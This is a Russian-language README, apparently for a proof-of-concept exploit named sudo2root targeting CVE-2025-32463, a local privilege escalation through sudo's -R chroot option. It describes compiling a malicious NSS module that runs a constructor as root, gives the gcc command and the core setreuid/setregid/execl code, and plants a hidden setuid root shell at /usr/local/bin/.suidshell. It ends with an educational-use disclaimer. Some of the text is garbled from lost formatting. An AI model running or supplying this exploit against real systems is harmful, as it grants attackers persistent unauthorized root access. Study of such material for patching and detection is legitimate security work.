
Локальное повышение привилегий Sudo CVE-2025-32463 (Лучше всего подходит для случаев, когда оболочка нестабильна для получения новой root-оболочки)
sudo -RЭтот PoC демонстрирует локальное повышение привилегий в системах Linux через злоупотребление опцией sudo -R совместно с пользовательским NSS-модулем. Он нацелен на уязвимость CVE-2025-32463, которая возникает из-за небезопасной обработки файла nsswitch.conf и NSS-библиотек в среде chroot.
Этот PoC, sudo2root, адаптирует оригинальную технику, компилируя пользовательский NSS-модуль, который использует атрибут constructor для повышения привилегий и создания setuid-оболочки root в /usr/local/bin/.suidshell.
-R chroot в sudo.sudo может выполнить произвольный код от имени root, нарушая изоляцию контейнеров и пользователей.sudo -R изменяет корневой каталог, но не сбрасывает привилегии и не очищает окружение.nsswitch.conf и пользовательским shared object libnss_*.sudo загрузить NSS-библиотеку, контролируемую атакующим.__attribute__((constructor))), создает setuid-оболочку root и повышает привилегии.sudo2root.c – Вредоносный NSS-модуль:
setreuid(0,0) и setregid(0,0)gccBash-скрипт эксплойта:
etc/nsswitch.conflibnss_/sudo2root1337.so.2sudo -R sudo2root sudo2root
Setuid-оболочка:
/usr/local/bin/.suidshell/usr/local/bin/.suidshell id
chmod +x sudoinject.sh
./sudoinject.sh
После завершения эксплойта выполните:
/usr/local/bin/.suidshell
whoami # => root
sudoinject.sh # Основной скрипт эксплойта
libnss_/sudo2root1337.so.2 # Вредоносный NSS-модуль (скомпилирован)
sudo2root/etc/nsswitch.conf # Пользовательский nsswitch, указывающий на поддельный модуль
/usr/local/bin/.suidshell # Итоговая setuid-оболочка root
sudo -R:-R <dir> в sudo изменяет корневой каталог перед выполнением команды.nsswitch.conf с записью passwd: /libnss_<name>.so, sudo загружает его до сброса привилегий.Shared object компилируется с помощью:
gcc -shared -fPIC -Wl,-init,exploit_constructor -o libnss_/sudo2root1337.so.2 sudo2root.c
Конструктор выполняется до любой логики в main().
Создает и компилирует suid-оболочку с помощью:
setreuid(0,0); setregid(0,0); execl("/bin/bash", "bash", NULL);
Устанавливает права через:
chown 0:0 .suidshell && chmod 4755 .suidshell

MikiVirusЭтот код предоставляется только в образовательных целях. Несанкционированное использование этого кода в системах, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения, является незаконным и неэтичным. Всегда получайте надлежащее разрешение перед проведением тестирования безопасности.